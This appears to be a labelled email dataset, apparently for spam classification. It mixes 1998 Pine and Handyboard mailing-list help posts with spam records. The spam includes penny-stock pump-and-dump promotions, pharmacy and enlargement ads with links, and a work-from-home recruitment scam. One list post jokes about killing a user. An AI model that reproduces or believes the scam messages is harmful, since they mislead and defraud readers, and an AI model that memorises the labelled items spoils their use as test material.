CTCK)Symbol:CTCK.PKIndustry:Building Materials WholesaleMarket Cap:$5.86 Million50-Day Volume Average:28,356,200Shares Outstanding:9,760,260,000Industry P/E:17.8xCorporate WebsiteCoattecindustries.comTechnology that surpasses everything on the market...Once in a great while there comes a new breakthrough in technology research and development whose impact is felt by millions. In 1938, Roy Plunkett, a research chemist at DuPont, checked a frozen, compressed container of tetrafluoroethylene, used in refrigerant production, and was astonished to find that nothing came out, and instead a white powder had formed that did not adhere to the container. This white powder demonstrated some amazing properties, such as resistance to corrosion, low surface friction, and high heat resistance. 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Coattec Industries has acquired exclusive North American license and rights for a revolutionary new technology for the development of advanced and proprietary polyurethane coatings and processes that can be used to provide an unparalleled degree of environmental resistance, flexibility and pliability, and durability, while enabling additives such as coloration, antibacterial materials, and electric conductivity. Compared to existing products on the market, Coattec's offerings can provide greater elasticity and equal or superior performance characteristics with greatly improved cost structures. 2. The Company's products and designs can be readily applied to a wide number of applications in different core industries, including construction (roofing foils and housewraps), textiles (breathable, washable, and antibacterial textiles), filters (air conditioning systems), foam and plastics, glass, and rubbers. The chemical market research firm Kusumgar, Nerlfi & Growney (KNG) has estimated that the total US market for these types of general coatings represented approximately $20 billion in 2005. 3. Initially, Coattec has decided to focus on the stable and growing $30 billion US roofing market (Dun & Bradstreet) composed of more than 30,000 contracting firms. This market, moreover, is resistant to economic downturns and the vicissitudes of other construction applications, since more than 75% of the total market represents repair and renovation rather than new construction. The Company's decision to focus on this market will position its products against more traditional insulation and coating methods (which are primitive by comparison such as tar-lined paper widely used today) where its innovative technologies will provide superior insulation and humidity protection promise to open up huge new revenue streams. 4. To broaden its product offering and strengthen its position in the US roofing market, the Company has entered discussions with Diversi-Plast, the world's largest manufacturer of corrugated plastic products, and German-based Meinecke Dachtechnologie, a leading European roofing product design, engineering, and manufacturing company. Through these agreements, the Company plans to act as an intermediary for the exchange of roofing technologies and products between these two market leaders. 5. The Company boasts a highly experienced and knowledgeable management team, comprised of leaders in advanced materials research and designs. The Company's President, Bernd Meinecke, brings more than 25 years of experience in the industrial materials industry, including positions as manufacturing and development engineer for the Saint Gobain Group, CEO of Corning Glass' German catalytic converter business, and Managing Director of Kemira Group, a leading industrial design firm and one of the world's largest catalytic converter manufacturers. 6. Interest in the Company's innovative suite of polyurethane coating designs and technologies continues to thrust CTCK prominently on the public stage, and we believe will soon result in increased attention from the investment community, major funds, Wall Street analysts, and international corporations.......................................................................................................................................................Legal Disclosure | email preferences",1,1 Chris Schafer ,Pine Discussion Forum ,"Tue, 06 Jan 1998 08:15:05 -0500",Re: Name Change form,"Just for kicks I tried it my self and found that the following search will hit the pine-info archive right off the bat even though the first document found is about a user wanting to ""legally"" change his name in pine. It might help if the disclaimer at the top included a little extra information (ie. What is ""Pine-info""). Anyhow. If anyone wants to reproduce the search: http://av.yahoo.com/bin/query?p=legal+name+change+help&hc=0&hs=11 Chris. On Mon, 5 Jan 1998, Colin J. Raven wrote: > Ouch! that's richly bizarre isn't it? > I'll have to do a search and see what happens. > I can hardly wait for Robin's take on this subject Adam, it should be > somewhat enlightening. > > Robin??? Would you care to step up to the podium for a moment and share your > thoughts with us? > > -----Original Message----- > From: Adam H. Kerman > To: Pine Discussion Forum > Date: Monday, January 05, 1998 11:47 PM > Subject: Re: Name Change form > > > >>From: ""Colin J. Raven"" > >>Date: Mon, 5 Jan 1998 14:10:55 -0000 > > > >>I now have to begin seriously wondering where all this name change stuff > >>stems from. > > > >I sent Randi a message asking her, and she sent back a nasty reply, saying > I > >wasn't ""friendly"". Perhaps Robin could be friendlier than I. > > > >She said she used yahoo, but didn't tell me what her search criterion was. > > > >This list is archived, and the archives aren't hidden from search engines. > My > >guess is that the more inappropriate questions we get on this topic, the > higher > >this mailing list will score, in a geometric progression. > > > > > Christopher James Schafer cjs@egr.msu.edu http://www.egr.msu.edu/~cjs VOX:353.9769 FAX:355.7516",0,1 Fyodor ,Pine Discussion Forum ,"Tue, 06 Jan 1998 19:28:04 -0500",Pine locking.,"Hello people I am using pine 3.96. and i don't want this pine to be able writing to /var/spool/mail/.. dir (OS. Linux. R.H. 4.1). However, when pine reads M.B it attempts to lock mailbox by creating similar lock file in the same dir. i tried to set quell-waring-lock-... but it doesn't help. Any ideas how to force pine to complain about locking or get it using another path for lock? --- Fyodor Yarochkin email:fygrave@usa.net http://www.tigerteam.net/linuxgroup/ tel:(3312) 474465 ""Optima philosophia et sapientia est meditatio mortis."" ",0,1 """Dr. Subhash B. Padhye"" ",Pine Discussion Forum ,"Tue, 06 Jan 1998 20:19:54 -0500",regarding address book,"I have been trying to enter addresses in address book but this message is displayed""adress book is read only"" so how can I enter address in address book please help me. *~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~* Professor Subhash Padhye Department of Chemistry University of Pune Pune 411 007. INDIA Tele. : (0212) 356061(Ext. 2076) Fax : 91-212-353899/351728 e-mail: sbpadhye@chem.unipune.ernet.in ",0,0 Y M Kung Charles ,Pine Discussion Forum ,"Tue, 06 Jan 1998 23:38:05 +0800",Re: regarding address book," Dear sir/madam, You can enter the Config session of Setup to find your address book's filename and then check the write permissions of that file. Charles On Tue, 6 Jan 1998, Dr. Subhash B. Padhye wrote: > I have been trying to enter addresses in address book > but this message is displayed""adress book is read only"" > so how can I enter address in address book > please help me. > > > > *~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~* > Professor Subhash Padhye > Department of Chemistry > University of Pune > Pune 411 007. > INDIA > Tele. : (0212) 356061(Ext. 2076) > Fax : 91-212-353899/351728 > e-mail: sbpadhye@chem.unipune.ernet.in > > > > > ",0,0 Daniel Novak ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 06 Jan 1998 08:39:26 -0500",recover back your lost youth,"see fiasco not holster , near on prospector a crate ",1,0 Douglas Blank ,handyboard@media.mit.edu,"Tue, 06 Jan 1998 12:51:41 -0600",Conversion of motors to Lego motors,"This isn't really a question about the Handyboard, but I thought that this would be the best place to ask. I have many motors that came with my Handyboard kit (from Gleason Research), but I want to use them with the Lego kits. Is there an easy way to convert these motors to ones with Lego casings, etc? Thanks for any pointers, -Doug Blank ;===================================================================; ;dblank@comp.uark.edu Douglas Blank, University of Arkansas; ;Assistant Professor Computer Science; ;=================== http://www.uark.edu/~dblank ===================; ",0,1 Don Pierce ,Pine Discussion Forum ,"Tue, 06 Jan 1998 14:23:49 -0800",The Around Town Mall !,"> Draw more people to your website! > > http://www.aroundtown.com > > The Internet has become one of the most popular mediums for businesses > to advertise their products and/or services. Companies can reach > customers both locally and worldwide. But with thousands of businesses > jumping on the Internet each month, it is difficult for potential local > customers to find your business without weeding through dozens of > national websites. That ís where the AROUNDTOWN MALL can help. The > mall covers the Greater Bay Area, from Napa to Monterey. You can > advertise your business on the Around Town Mall and gain Internet > exposure, and draw more people to your website. > > An AROUNDTOWN advertising space will cost your company just $50.00 per > quarter (three months) or $150 per year with a one time set-up fee of > $39. > > Call me, Don Pierce at 408 735-1698 or email me at piercent@d2m.com and > I will arrange to come out and discuss the AROUNDTOWN MALL. > > To set up your mall advertisement, all we need is: > > Your logo, picture, camera ready art or digital image or business card > for our graphic artist. > > Up to a 200 word description of your business, it's products and/or > services. We advertise and market your website advertisement and the > mall monthly to maximize visitors to your ad. > > Since you already have a website, all people would have to do is click > on your logo and be linked directly to your website. > > To find out more about AROUNDTOWN or arrange a meeting call Don Pierce > at 408 735-1698 or email me at piercent@d2m.com. > > Thank You, > > Donald E. Pierce > AROUNDTOWN > New Accounts Manager > ",0,1 Simone Biggs ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 06 Jan 1998 14:52:43 -0520",FRANCIS pr0fi1ed her cash with GI1BERT,"Hot Voip sector. Watch Alert starting now. Add iZON to your radars now The Company had earlier announced the increase of its network infrastructure and capacity to four times its initial implementation inZon Corp iZON Big News for iZON inZon Corp. Announces Network Migration Complete DELRAY BEACH, Fla.--(BUSINESS WIRE)--May 9, 2006--inZon Corporation (OTCBB:IZON - News), a dynamic global telecommunication service participant in the fast growing Voice over Internet Protocol (VoIP) wholesale telecom market, announced today that it has now completed the migration of the entirety of its customer traffic to its own private global VoIP network, which is wholly owned by the Company. (Partial clip only) Go read the entire release asap. Said inZon's CEO, David F. Levy, ""We are delighted with this achievement, which will substantially boost operating margins and further accelerate rapid growth in customer traffic."" The Company had earlier announced the increase of its network infrastructure and capacity to four times its initial implementation Information within this report contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the SEC Act of 1934. Statements that involve discussions with respect to projections of future events are not statements of historical fact and may be forward looking statements. Don't rely on them to make a decision. The Company is not a reporting company registered under the Exchange Act of 1934. We have received two hundred fifty thousand free trading shares from a third party not an officer, director or affiliate shareholder. We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. Read the Company's Annual Report if one is available and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. re: PATRICK examined WARREN s sma11 cap in ERIC ",1,0 John Gates ,Pine Discussion Forum ,"Tue, 06 Jan 1998 14:48:03 -0800",INBOX specification problem in PC-Pine,"I am trying to run pine OFFLINE on a PC (c:\\pine and c:\\pine\\mail). I use Trumpet Winsock under Win311. I hope to use Pine in this fashion only to access archive folders I have in the mail dir. I don't want/need to do a dialup to an ISP. Problem: the delay of 20 seconds or so while pine tries to find an INBOX is frustrating. The search finally times out and allows me to hit ENTER to choose a default path and then the folder screen will show an inbox with no files in it - all is ok after that - can access the other folders just fine. Would like to have it find INBOX and open it quicker than 20 seconds. In the PINERC file I have set user-id=gatesj, personal-name=John Gates, and inbox-path=c:\\pine\\$user. I have copied a valid folder/file from the pine\\mail dir into the \\pine dir and renamed it ""gatesj"". Haven't made any progress - any ideas? Thanks all! John Gates ------------------------------------------------------------------------------- John/Nicki Gates 425-774-3777 750 Northstream Ln, Edmonds WA 98020-2637 gatesj@edmonds.wednet.edu Ham Radio:N7BTI ICBM:47.8241768N x 122.3693085W ------------------------------------------------------------------------------- ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Tue, 06 Jan 1998 23:58:43 +0100",Re: Name Change form,">> ""RB"" == Randi Bagley writes: RB> If there is a form available for use by a self-representing citizen RB> to change his/her name on their own, could you please point me in the RB> right direction. Lawyers quote very expensive rates for something RB> that seems as if it should be ""fill-in-the-blanks"" easy. Dear Randi, there are quite a few ways to get one's name changed. There is a hard one, which would turn you into St. Bagley. It would involve stuff that majorly sucks like cutting coats in two and stuff. Not cool. Secondly, there is a way that would turn you into Mrs. Randi Cummins, which would require marrying one of the lamest morons the world has ever seen. If you're into this kind of guy, you should consider it an option. Right now, the most attractive solution for you in my mind would be to keep posting to this list. It would certainly lead to a couple of people helping you to change your name to ""the late Ms Bagley"". This would not require any additional input on your behalf, but instead the kind and generous application of fire-arms, baseball bats, chainsaws and heavy artillery on ours. If you don't like any of these choices: [x] get a life [x] get lost [x] get professional help [x] drop dead Robin ""you're posting to an email list dealing with an email program"" Socha -- Robin S. Socha M.A. Political Science Dept., Bonn University *S*A*T*A*N* ROOLEZ (D. Moehwald)",0,0 Jamie Falbe ,Pine Discussion Forum ,"Tue, 06 Jan 1998 18:30:03 -0500",new update," My email was updated automatically in the last 24 hours. My folders were supposedly put into a new directory, but i can not find any of them. Furthermore, i lost all my adresses saved in my address. One more thing, am I suppose to receive and send files, if so how do I retrieve them? Thanks so much for your time! :) Jamie ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Wed, 07 Jan 1998 07:40:55 +0800",Re: N ame C hange f orm,"Robin, Sorry, I zapped your entire message. However, you always complain that irrelevant stuff shouldn't be quoted. :-) I have an email contact with several individuals who have posted to pine-info asking about ""C hanging N ames"". It seems all of the ones I've communicated with have performed searches at yahoo or other places with phrases shown to produce results point to pine-info a previously holding conversations about that subject. The folks performing the search just assume that their seach request will return ""valid"" pointers and proceed to contact one of the indicated sources. The people doing the search tend to be ""regular"" people with little or no knowledge of the technology they are using, let alone its limitations. They've never heard of ""pine"" and wouldn't have a reason to stop and think about how ""pine"" can or cannot be connected with their request. Like it or not, these people make up a growing percentage of the Internet comunity. So, you will be seeing more and more of this type of ""error"". Yelling at them and making rude comments is not going to improve the situation. The only purpose it serves is to foster the image of the Internet as and unfriendly place. The situation is bound to get worse before it gets better. But, by their numbers, these folks make the Internet a cheaper place for all. So, we (and that *surely* includes me) should learn a bit of tolerance and try to help rather than attack. Regards, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Steve Evans ,Pine Discussion Forum ,"Tue, 06 Jan 1998 17:08:51 -0500",Wyse 50 / Wyse 150 and UNAME,"-- [ From: Steve Evans * EMC.Ver #2.5.02 ] -- Running Solaris 2.5 on a Sun Ultra Sparc with Wyse 50's, 150's and 150es'.. Problem #1 TERM=wyse50 for an environment variable. The Wyse 150 and 150es terminals run Pine beautifully as long as the terminal is set up to emulate a Wyse 150 or 150+. If I set them up to emulate a Wyse 50 or 50+, the screen displays are misaligned. The Wyse 50 terminals that we have only have one Wyse emulation available (WY50). So with these terminals the screen displays are misaligned. I have tried messing with the environment variable in unix, but can find nothing that will work. I also attempted going with vt100 for everything, but our ancient database program will not fully support vt100 mode. Does anyone know of a pine config setting that I can change, or have any other solution to this problem? Problem #2 We do not currently have an Internet connection, so our nodename (uname) does not have an internet extension (i.e. .COM, .EDU, .GOV). Because of this , we get warnings from pine that our mail domain is incomplete. Does anyone know of a way to shut these warnings off without changing out nodename? Please e-mail replies to steve@xmission.com Thanks for your time. ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Tue, 06 Jan 1998 16:30:25 -0000",Re: new update,"There's too much that's unknown to constructively help you. First thing...verry first thing, contact your local systems administrator and ask that person precisely what you posted here. We could send you off on an ""ls -laF"" this and ""grep"" that and chances are you'd wind up really frustrated, and neither learn what the problem was, or learn much about Pine in the process either. All of the questions you posed can be succinctly answered by your local sysadmin...too many variables for anyone to have the slightest hope of constructively helping you. Try that first, then if you have further Pine questions, well then come on back and we'll help you. -Colin ------------------------------------------------------ Colin J. Raven Network & Systems Administration HDS Lab, Inc. Costa Mesa CA | Harrison NY. -----Original Message----- From: Jamie Falbe To: Pine Discussion Forum Date: Tuesday, January 06, 1998 11:43 PM Subject: new update > My email was updated automatically in the last 24 hours. My >folders were supposedly put into a new directory, but i can not find any >of them. Furthermore, i lost all my adresses saved in my address. One more >thing, am I suppose to receive and send files, if so how do I retrieve >them? > Thanks so much for your time! > :) Jamie > >",0,0 Jen Allen ,Pine Discussion Forum ,"Tue, 06 Jan 1998 19:33:25 -0500",,"Dear Sir or Miss, I received a attachment along with one of the letters that I received and I can't figure out how to get it. The attachment is my Uncle, Aunt and cousin singing we wish you a merry christmas. The system said to save it so I did and now I can't find it. Please tell me how to get to it if you can. Thanks, Jenn ",0,0 Vincent Choi ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 06 Jan 1998 21:49:05 +0400",Your account is due in 14 days,"-S'ensationall revoolution in m'edicine! -E'n'l'a'r'g'e your p''enis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be impressed with results! Clisk here: http://mauritiuszone.info priest roughcast rigging cummings tomatoes parolee external mccauley signet sulfurous autism fifth kirov ligand shafer drumlin tori crestview alcohol ramada arccos bite rollins blotch regiment catalpa crossarm spaniard gyroscope wasp rawhide divisional opel cupric archfool ain't concision rhoda studebaker wy mild ramsey blend gregory strange crab parsley alice thumbnail family bugle chinchilla cooky erickson ",1,1 Andrew Vardy ,Pine Discussion Forum ,"Tue, 06 Jan 1998 22:19:13 -0330",Re: your mail," On Tue, 6 Jan 1998, Jen Allen wrote: > Dear Sir or Miss, > > I received a attachment along with one of the letters that I > received and I can't figure out how to get it. The attachment is my > Uncle, Aunt and cousin singing we wish you a merry christmas. The system > said to save it so I did and now I can't find it. Please tell me how to > get to it if you can. > Perhaps you should save it again from the message. It does tell you the filename when you hit S. You can pick another filename if you want. I am not sure what you mean there ""The system said to save it"". Pine allows you to save attachments, but I'm not sure about *instructing* you to save it. Once saved, you can download the file. And do with it as you wish. > > Thanks, > Jenn > > ",0,0 Costing & Provisioning ,Pine Discussion Forum ,"Wed, 07 Jan 1998 13:25:50 +1100",Re - Application/MS-TNEF,"Content-Transfer-Encoding: 7bit Do you have or know of any drivers that will help us open an attachment sent to us in MIME format in Word 6 or Notepad. At the moment when we try to open them they change to .BIN format and when opened in Word or Notepad they appear in hieroglyphics. Please help or let me know if there is anyone else who can help????? Georgette Ertas EDS Sydney - Australia ",0,0 Lea ,Pine Discussion Forum ,"Tue, 06 Jan 1998 20:16:25 -0700",Re: your mail,"On Tue, 6 Jan 1998, Andrew Vardy wrote: > I am not sure what you mean there ""The system said to save it"". Pine allows > you to save attachments, but I'm not sure about *instructing* you to save it. When Pine isn't sure of the format of the attachment, it does tell you to use View/Attach to save it to a file... Jenn, you need to find out from your local computing support people what you have available to you as a file transfer program, and how to use it. Use View/Attach in the e-mail message to save the attachment to a file in your account's home directory (Pine will automatically save to the home directory by default). Then use your system's FTP client to download the file to the hard drive of your computer. Later... Lea ",0,0 Germán Gentile ,"Chuck McManis , ""Fred G. Martin"" , 'Handyboard Mailing List' , Lista de Motorola- 6811 , Lista de Robótica General ","Mon, 05 Jan 1998 23:26:39 -0300",Input/Output in the 6811,"Can i make a pin output and in the next instruction of input? With th PORTD pins by example??? ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Tue, 06 Jan 1998 21:48:56 -0600",Re: N ame C hange f orm,">From: Edward M Greshko >Date: Wed, 7 Jan 1998 07:40:55 +0800 (GMT) >Robin, >I have an email contact with several individuals who have posted to >pine-info asking about ""C hanging N ames"". It seems all of the ones >I've communicated with have performed searches at yahoo or other places >with phrases shown to produce results point to pine-info a previously >holding conversations about that subject. I think they are submitting questions to this list through their browser using the mailto: URL in the archives. Unless Robin were to write to them directly, her pithy observations are for our entertainment only. The pine-info list is open to postings from non-subscribers. There is a solution to this problem: Moderate questions posted by non- subscribers. Move long-time contributors to a hidden, unmoderated list. The first time a subscriber asks a question having to do with pine, move him to the unmoderated list. Irrelevant questions get relevant ""best of Robin"" responses.",0,0 Maria Adair ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 06 Jan 1998 16:46:11 -0400",Kristin Darby,"ejk R N L N S G T t O W M M W C P S A V X o ow o hi et ak ak ur   ei us en om ho ai le nt  i   - V mor est Pri ppe  yo e a ing  on   ght cle 's en' les n R ep i D  s isi   e l  Pr or  d o ur  st  ad lin  Lo  Re Hea s H ter eli Pro epr   i t   t Ou ong ices Pres ut t Medi ep i vant e Dr ss laxe lth ealt ol  ef  blem essi     O r On doct  Gua crip o yo cine nto age ugst    < rs <    < h  <    <    < s  < on <   u r li or ra ti u  O th of or Me Za Vi Cl Me Ce Am Pa  S ne  v nt on wi nl e  o e ri na ag om va le bi xi  i    Dru isit eed!  Nee thin ine futu ur o has dia, flex ra, id, cor, coxi en, l, P  t e gs s! de  4 an re nl pr  F > Le Ay  Z b, So ro   to d! 8 d  & in od lo vi ge oc  F na za T  re Ho Sa  j e uc ri tr st or el ta c, o   & ur ve oi se ts ne a, in > de >  Z d   S s! ! n rv  f f>  C > ne ol a  av th ic or ia > of y e! e es : li t> ! mi .. s>   ll .   ions   http://hraina.com/?tja",1,1 Les Novotny ,handyboard@media.mit.edu,"Tue, 06 Jan 1998 16:57:34 -0800",Any used Handyboards available or PC boards?,"Hi, Is there anyone out there have any handyboards they no longer want or does anyone have some Handyboard PC boards that they want to offload? Or Are their any folks in the Vancouver area want to buy a number of blanks boards as an aggregrate to reduce the cost per board? Let me know. tnx les ",0,0 Cassidy Welter ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 06 Jan 1998 17:39:43 -0500",This needs to be tested,"and chuckwalla may hough and bamboo the vocal see billboard ",1,0 Mitchell Strong ,handyboard@media.mit.edu,"Tue, 06 Jan 1998 23:19:56 +0006",All products for your health!,"http://wmhabg.icejordan.com/?23754408 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! The store is VERIFIED BY BBB and APPROVED BY VISA! http://wmhabg.icejordan.com/?23754408 ",1,1 Helen Bates ,Pine Discussion Forum ,"Wed, 07 Jan 1998 02:26:34 -0500",Bug in Pine? (CTRL-^ to mark text inconsistent),"I'm not subscribed to this list, but am reading an archived post. I have had a similar problem to that of Felix Karpfen when trying to mark text so I can delete several lines at once. I run Pine by proxy by telnetting to the WORLD.STD.COM system and using the login and password (by permission) of a user of that system. I configured the version of Pine he is using to allow the marking of text, and it did work at first, and has worked occasionally since, but mostly, it just causes characters to be typed to the composed post and I usually have to quit Pine and re-enter it to fix this, or I cannot even use the regular commands. Anyone have any ideas about why this should happen? Helen Bates nell@connect.reach.net nell@connect.reach.net Type 2, Diet & Exercise ",0,0 Fabio Coatti ,Pine Discussion Forum ,"Wed, 07 Jan 1998 08:44:28 +0100",problem with display filter,"I've a problem with display filters in pine 3.96. I'm trying to use this option with a perl script, but if the script returns any ""\\n"" character the only thing I get is a ""Success Hit return to continue"" from pine, and when I hit return, the viewer shows only a [Error: Formatting Error: Success] I've tried several scripts,always with the same result. If the output contains no ""\\n"", pine shows no errors but also no text. Can someone give me a hint to track down the problem? I'm using pine under linux 2.1.75 and perl 5. Thanks in advance. -- ----------------------------------------------------------- Fabio Coatti 2:332/409.414 Fidonet cova@felix.unife.it Internet http://felix.unife.it/~cova Home page Old SysOps never die... they simply forget their password. ----------------------------------------------------------- ",0,1 """s.blood"" ",Pine Discussion Forum ,"Wed, 07 Jan 1998 05:43:43 -0500",is there a way to quell the 'delete old SENT mail folder' message," ""To save disk space, delete old SENT mail folder sent-mail-dec-1997?"" I've looked through .pinerc a couple of times and tried some searches through the archives of this mailing list but haven't been able to find how to turn this option off. Is there a switch somewhere? Any help would be appreciated, thanks, steve blood ps-please cc a copy to me. ",0,0 Rukn Luthra ,Pine Discussion Forum ,"Wed, 07 Jan 1998 17:15:10 +0500",PROBLEM!!,"Dear Sir, When I log into my e-mail, I get the following message ""ERROR IN SAVING CONFIGURATON......."" and when ever I send a message i get ""write to sent mail failed"" as a result messages do not get reflected in the sent mail box....While also composing a message i get ""No room...Disc quota exceeded..."" Please advise urgently on problem and its solution. Thanks Rukn Luthra ",0,0 Norbert Koch ,Pine Discussion Forum ,"Wed, 07 Jan 1998 13:15:56 +0100",Re: PROBLEM!!,">>>On Wed, 7 Jan 1998 17:15:10 +0500 (GMT+0500), Rukn Luthra said: Hi, RL> Dear Sir, When I log into my e-mail, I get the following message RL> ""ERROR IN SAVING CONFIGURATON......."" and when ever I send a RL> message i get ""write to sent mail failed"" as a result messages do RL> not get reflected in the sent mail box....While also composing a RL> message i get ""No room...Disc quota exceeded..."" Please advise RL> urgently on problem and its solution. Thanks Rukn Luthra this problem is (still) not a pine issue. The message tells you that you should tidy up your place because the part of disk space which has been given to you is all used up. There exist some possible solutions, to be used in the mentioned order (a) remove old, now unwanted since no more needed files (some old mails, eg) (b) bribe your sys admin / help desk clerk to rise your disk quota (c) ... I know, I've been missing some ways to solve the problem (shoot other users and get their disk quota for example) ... but this I consider unprofessional. After you've cleaned some files your configuration file can be saved again (perhaps you should take a glance at it, it might be broken) and sent-mail should work again. l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Edward M Greshko ,Pine Discussion Forum ,"Wed, 07 Jan 1998 20:33:55 +0800",Re: is there a way to quell the 'delete old SENT mail folder' message,"On Wed, 7 Jan 1998, s.blood wrote: > ""To save disk space, delete old SENT mail folder sent-mail-dec-1997?"" > > > I've looked through .pinerc a couple of times and tried some searches > through the archives of this mailing list but haven't been able to find > how to turn this option off. Is there a switch somewhere? > > Any help would be appreciated, In your .pinerc file find the entry: # Set by Pine; controls beginning-of-month sent-mail pruning. last-time-prune-questioned=98.1 Set it to 110.1 and the next time it will ask you is 2010. Ed ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Wed, 07 Jan 1998 20:36:33 +0800",Re: PROBLEM!!,"Along with the good advice of Norbert, you should also be made aware that these types of problems should be first worked thru you ISP's helpdesk. VSNL has a helpdesk in Deli, yes? -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Wed, 07 Jan 1998 20:49:31 +0800",Re: N ame C hange f orm,"On Tue, 6 Jan 1998, Adam H. Kerman wrote: > I think they are submitting questions to this list through their browser using > the mailto: URL in the archives. Unless Robin were to write to them directly, > her pithy observations are for our entertainment only. You seem to be saying that being rude to someone is OK as long as they can't hear you. Or, maybe being rude to strangers is somehow humorous? > The pine-info list is open to postings from non-subscribers. > > There is a solution to this problem: Moderate questions posted by non- > subscribers. Move long-time contributors to a hidden, unmoderated list. The > first time a subscriber asks a question having to do with pine, move him to the > unmoderated list. Offering to fill this role? > Irrelevant questions get relevant ""best of Robin"" responses. Some people are ignorant of the fact their questions are irrelevant. That means you have a license to snap at them? Sorry for this off topic comment....now back to ""pine"" issues. Regards, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Penny Kendrick ,mailarch+pine-info@groupms.cac.washington.edu,"Wed, 07 Jan 1998 14:50:13 +0800",Best pharmacy directoryfor viagra.,"Keeping your private medical issues... private. http://qqix.f53nk62klu2nffx82fx82fff.antikingdc.com/?kzqvr ",1,1 Basilhylton ,mailarch+pine-info@groupms.cac.washington.edu,"Wed, 07 Jan 1998 04:19:47 -0300",jobs from abroad (ref - 54/upholders),"acoustics sleepwalk negotiate sonic diluting   Work from home by JobsAbroad & Jobsite UK Dear recipient, Jobsite UK and JobsAbroad announces the beginning of a new global employment campaign offering you one more opportunity to earnextra money working with Sangudo Electronics.democrat humpback encamping palaces MacDonald We are looking for honest, responsible, hard-working people that can dedicate 2-4 hours of their time per day and earn extra 300-500 GBP weekly. All offered positions are currently part-time and give you a chance to work mainly from home. Hewlett brainstem crops cautions chartering Please visit Sangudo's corporate web site for more details regarding these vacancies.disagree presided accordion sentiments transplant",1,1 """Adam H. Kerman"" ",Pine Discussion Forum ,"Wed, 07 Jan 1998 10:02:46 -0600",Re: N ame C hange f orm,">From: Edward M Greshko >Date: Wed, 7 Jan 1998 20:49:31 +0800 (GMT) >On Tue, 6 Jan 1998, Adam H. Kerman wrote: >>I think they are submitting questions to this list through their browser using >>the mailto: URL in the archives. Unless Robin were to write to them directly, >>her pithy observations are for our entertainment only. >You seem to be saying that being rude to someone is OK as long as they >can't hear you. No, Ed. Rudeness requires that the target be aware of what was said. >Or, maybe being rude to strangers is somehow humorous? Unless Robin sent them private e-mail, she's can't be rude to someone who isn't on the list. Whether or not YOU found it funny is another matter. >>The pine-info list is open to postings from non-subscribers. >>There is a solution to this problem: Moderate questions posted by non- >>subscribers. Move long-time contributors to a hidden, unmoderated list. The >>first time a subscriber asks a question having to do with pine, move him to >>the unmoderated list. >Offering to fill this role? It's up to the list owner. But, I'd be willing to help. >>Irrelevant questions get relevant ""best of Robin"" responses. >Some people are ignorant of the fact their questions are irrelevant. That >means you have a license to snap at them? You volunteering to write the responses? >Sorry for this off topic comment....now back to ""pine"" issues. Actually, we get a significant amount of off-topic posting, and we should attempt to solve the problem. I suggest that we continue this thread.",0,0 Julianne Kurtz ,Pine Discussion Forum ,"Wed, 07 Jan 1998 11:18:11 -0500",Re: N ame C hange f orm," Why don't we send mail to yahoo explaining the situation and asking if they could possibly remove that particular listing for us? Does anyone know anyone over there? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Julianne Kurtz julianne@intraactive.com ",0,0 Drachen ,Pine Discussion Forum ,"Wed, 07 Jan 1998 08:54:07 -0800",Re: N ame C hange f orm," A solution a little less drastic than full moderation would simply be to not allow posts from people who haven't subscribed--it's a common enough mailing list convention. Yes, it means that to ask a question, one must figure out how to subscribe, but it's not that hard, and it would probably filter out most of the accidental off topics. Vinnie On Wed, 7 Jan 1998, Adam H. Kerman wrote: > Actually, we get a significant amount of off-topic posting, and we should > attempt to solve the problem. I suggest that we continue this thread. > ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Wed, 07 Jan 1998 10:55:59 -0600",Re: N ame C hange f orm,">From: Julianne Kurtz >Date: Wed, 7 Jan 1998 11:18:11 -0500 (EST) >Why don't we send mail to yahoo explaining the situation and asking if >they could possibly remove that particular listing for us? It should be fixed in the pine archives themselves. yahoo, and the other search engines, wouldn't customize anything unless the university paid a fee.",0,0 Anne-Li Fredriksson ,Pine Discussion Forum ,"Wed, 07 Jan 1998 18:22:17 +0100",I understand nothing..,"Can someone please tell me about ISO-8859-1. Does the following message mean something? =?ISO-8859-1?Q?_ _=E4r _ _??= ",0,0 Ian McArthur ,Pine Discussion Forum ,"Wed, 07 Jan 1998 18:11:16 -0000",Pine with Exchange 5.5,"Dear All, I notice that a couple of people have reported on this list that they are unable to get Pine 3.96 to see all folders on an exchange server running 5.5 with IMAP enabled. I too have encountered this and was told that this is due to the absence of some optional IMAP2 backwards compatibility in the MS product. Can anyone confirm this and if so anyone put a timescale on the release of a full IMAP4 version of Pine ? I'm certainly keen to see it. Cheers, Ian ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Wed, 07 Jan 1998 19:20:26 